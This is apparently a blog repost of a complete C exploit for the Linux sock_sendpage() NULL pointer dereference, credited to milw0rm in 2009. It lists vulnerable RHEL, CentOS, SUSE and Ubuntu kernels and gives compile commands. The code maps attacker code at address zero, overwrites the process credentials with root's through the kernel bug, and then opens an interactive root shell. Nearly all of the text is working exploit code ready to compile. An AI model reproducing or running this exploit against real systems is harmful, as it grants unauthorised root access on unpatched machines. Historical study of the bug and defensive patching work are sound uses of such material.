2012. 4. 15. 02:55

/*  


 *  Linux sock_sendpage() NULL pointer dereference  


 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>  


 *  


 *  This program is free software; you can redistribute it and/or modify  


 *  it under the terms of the GNU General Public License as published by  


 *  the Free Software Foundation; either version 2 of the License, or  


 *  (at your option) any later version.  


 *  


 *  This program is distributed in the hope that it will be useful,  


 *  but WITHOUT ANY WARRANTY; without even the implied warranty of  


 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  


 *  GNU General Public License for more details.  


 *  


 *  You should have received a copy of the GNU General Public License  


 *  along with this program; if not, write to the Free Software  


 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA  


 *  


 */ 


   


/*  


 * This exploit was written to illustrate the exploitability of this  


 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc  


 * and ppc64.  


 *  


 * This exploit makes use of the SELinux and the mmap_min_addr problem to  


 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.  


 * The problem, first noticed by Brad Spengler, was described by Red Hat in  


 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and  


 * the mmap_min_addr protection[2].  


 *  


 * Support for i386 and x86_64 was added for completeness. For a more complete  


 * implementation, refer to Brad Spengler's exploit[3], which also implements  


 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.  


 *  


 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4  


 * are vulnerable.  


 *  


 * This exploit was tested on:  


 *  


 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable  


 * CentOS 5.3 (2.6.18-128.4.1.el5)  


 * CentOS 5.3 (2.6.18-128.2.1.el5)  


 * CentOS 5.3 (2.6.18-128.1.16.el5)  


 * CentOS 5.3 (2.6.18-128.1.14.el5)  


 * CentOS 5.3 (2.6.18-128.1.10.el5)  


 * CentOS 5.3 (2.6.18-128.1.6.el5)  


 * CentOS 5.3 (2.6.18-128.1.1.el5)  


 * CentOS 5.3 (2.6.18-128.el5)  


 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable  


 * CentOS 4.8 (2.6.9-89.0.7.EL)  


 * CentOS 4.8 (2.6.9-89.0.3.EL)  


 * CentOS 4.8 (2.6.9-89.EL)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)  


 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)  


 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)  


 * Ubuntu 8.10 (2.6.27-14) is not vulnerable  


 * Ubuntu 8.10 (2.6.27-11)  


 * Ubuntu 8.10 (2.6.27-9)  


 * Ubuntu 8.10 (2.6.27-7)  


 *  


 * For i386 and ppc, compile with the following command:  


 * gcc -Wall -o linux-sendpage linux-sendpage.c  


 *  


 * And for x86_64 and ppc64:  


 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c  


 *  


 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html  


 * [2] http://kbase.redhat.com/faq/docs/DOC-18042  


 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz  


 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html  


 */ 


   


#include <stdio.h>  


#include <stdlib.h>  


#include <string.h>  


#include <sys/mman.h>  


#include <sys/sendfile.h>  


#include <sys/types.h>  


#include <sys/socket.h>  


#include <unistd.h>  


   


#if !defined(__always_inline)  


#define __always_inline inline __attribute__((always_inline))  


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("movq %%rsp,%0; " : "=r" (sp));  


   


    return sp;  


}  


   


#else  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("movl %%esp,%0" : "=r" (sp));  


   


    return sp;  


}  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("mr %0,%%r1; " : "=r" (sp));  


   


    return sp;  


}  


   


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct;  


   


    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));  


   


    return task_struct;  


}  


   


#else  


#define TASK_RUNNING 0  


   


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct, thread_info;  


   


    thread_info = current_stack_pointer() & ~(4096 - 1);  


   


    if (*(unsigned long *)thread_info >= 0xc0000000) {  


        task_struct = *(unsigned long *)thread_info;  


   


        /*  


         * The TASK_RUNNING is the only possible state for a process executing  


         * in user-space.  


         */ 


        if (*(unsigned long *)task_struct == TASK_RUNNING)  


            return task_struct;  


    }  


   


    /*  


     * Prior to the 2.6 kernel series, the task_struct was stored at the end  


     * of the kernel stack.  


     */ 


    task_struct = current_stack_pointer() & ~(8192 - 1);  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    thread_info = task_struct;  


   


    task_struct = *(unsigned long *)thread_info;  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    return -1;  


}  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


#define TASK_RUNNING 0  


   


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct, thread_info;  


   


#if defined(__LP64__)  


    task_struct = current_stack_pointer() & ~(16384 - 1);  


   


#else  


    task_struct = current_stack_pointer() & ~(8192 - 1);  


   


#endif  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    thread_info = task_struct;  


   


    task_struct = *(unsigned long *)thread_info;  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    return -1;  


}  


   


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


static unsigned long uid, gid;  


   


static int 


change_cred(void)  


{  


    unsigned int *task_struct;  


   


    task_struct = (unsigned int *)current_task_struct();  


   


    while (task_struct) {  


        if (task_struct[0] == uid && task_struct[1] == uid &&  


                task_struct[2] == uid && task_struct[3] == uid &&  


                task_struct[4] == gid && task_struct[5] == gid &&  


                task_struct[6] == gid && task_struct[7] == gid) {  


            task_struct[0] = task_struct[1] =  


            task_struct[2] = task_struct[3] =  


            task_struct[4] = task_struct[5] =  


            task_struct[6] = task_struct[7] = 0;  


            break;  


        }  


   


        task_struct++;  


    }  


   


    return -1;  


}  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


static int 


change_cred(void)  


{  


    unsigned int *task_struct;  


   


    task_struct = (unsigned int *)current_task_struct();  


   


    while (task_struct) {  


        if (!task_struct[0]) {  


            task_struct++;  


            continue;  


        }  


   


        if (task_struct[0] == task_struct[1] &&  


                task_struct[0] == task_struct[2] &&  


                task_struct[0] == task_struct[3] &&  


                task_struct[4] == task_struct[5] &&  


                task_struct[4] == task_struct[6] &&  


                task_struct[4] == task_struct[7]) {  


            task_struct[0] = task_struct[1] =  


            task_struct[2] = task_struct[3] =  


            task_struct[4] = task_struct[5] =  


            task_struct[6] = task_struct[7] = 0;  


            break;  


        }  


   


        task_struct++;  


    }  


   


    return -1;  


}  


   


#endif  


   


#define PAGE_SIZE getpagesize()  


   


int 


main(void)  


{  


    char *addr;  


    int out_fd, in_fd;  


    char template[] = "/tmp/tmp.XXXXXX";  


   


#if defined(__i386__) || defined(__x86_64__)  


    uid = getuid(), gid = getgid();  


   


#endif  


   


    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|  


            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {  


        perror("mmap");  


        exit(EXIT_FAILURE);  


    }  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


    addr[0] = '\xff';  


    addr[1] = '\x24';  


    addr[2] = '\x25';  


    *(unsigned long *)&addr[3] = 8;  


    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  


   


#else  


    addr[0] = '\xff';  


    addr[1] = '\x25';  


    *(unsigned long *)&addr[2] = 8;  


    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


#if defined(__LP64__)  


    /*  


     * The use of function descriptors by the Power 64-bit ELF ABI requires  


     * the use of a fake function descriptor.  


     */ 


    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;  


   


#else  


    addr[0] = '\x3f';  


    addr[1] = '\xe0';  


    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;  


    addr[4] = '\x63';  


    addr[5] = '\xff';  


    *(unsigned short *)&addr[6] = (unsigned short)change_cred;  


    addr[8] = '\x7f';  


    addr[9] = '\xe9';  


    addr[10] = '\x03';  


    addr[11] = '\xa6';  


    addr[12] = '\x4e';  


    addr[13] = '\x80';  


    addr[14] = '\x04';  


    addr[15] = '\x20';  


   


#endif  


   


#endif  


   


    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {  


        perror("socket");  


        exit(EXIT_FAILURE);  


    }  


   


    if ((in_fd = mkstemp(template)) == -1) {  


        perror("mkstemp");  


        exit(EXIT_FAILURE);  


    }  


   


    if(unlink(template) == -1) {  


        perror("unlink");  


        exit(EXIT_FAILURE);  


    }  


   


    if (ftruncate(in_fd, PAGE_SIZE) == -1) {  


        perror("ftruncate");  


        exit(EXIT_FAILURE);  


    }  


   


    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);  


   


    execl("/bin/sh", "sh", "-i", NULL);  


   


    exit(EXIT_SUCCESS);  


}  


   


// milw0rm.com [2009-08-31] 


Posted by k1rha